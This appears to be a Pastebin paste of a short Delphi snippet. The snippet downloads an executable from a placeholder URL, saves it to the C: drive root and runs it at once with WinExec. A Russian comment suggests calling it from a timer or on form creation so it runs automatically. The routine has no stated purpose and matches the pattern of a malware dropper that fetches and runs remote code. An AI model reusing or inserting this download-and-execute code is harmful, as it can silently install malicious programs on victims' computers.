daily pastebin goal
13%
SHARE
TWEET

Download the file (option 1)

appo Dec 27th, 2013 339 Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
  1. // можно в таймер его или formcreate
  2. begin
  3. Hinternet:=nil;
  4. Hinternet:= InternetOpen('SmplWinIntDwn',0,0,0,0);
  5. HFiles:=InternetOpenUrl(Hinternet,'http://then address to your file/YOURFILE.exe',
  6. 0,0,0,0);
  7. HF:= CreateFile('C:\YOURFILE.exe',GENERIC_WRITE,FILE_SHARE_READ,Nil,
  8. OPEN_ALWAYS,FILE_ATTRIBUTE_NORMAL,0);
  9. GetMem(Buf,BTR);
  10. repeat
  11. InternetReadFile(HFiles,Buf,BTR,SizeBuf);
  12. WriteFile(HF,Buf^,SizeBuf,RWfil,0);
  13. until SizeBuf = 0;
  14. CloseHandle(HF);
  15. InternetCloseHandle(Hinternet);
  16. HF:=INVALID_HANDLE_VALUE;
  17. FreeMem(Buf);
  18. WinExec('c:\YOURFILE.exe',SW_SHOW);
  19. end;
  20.  
  21. // Coded by Appo //
RAW Paste Data
We use cookies for various purposes including analytics. By continuing to use Pastebin, you agree to our use of cookies as described in the Cookies Policy. OK, I Understand
 
Top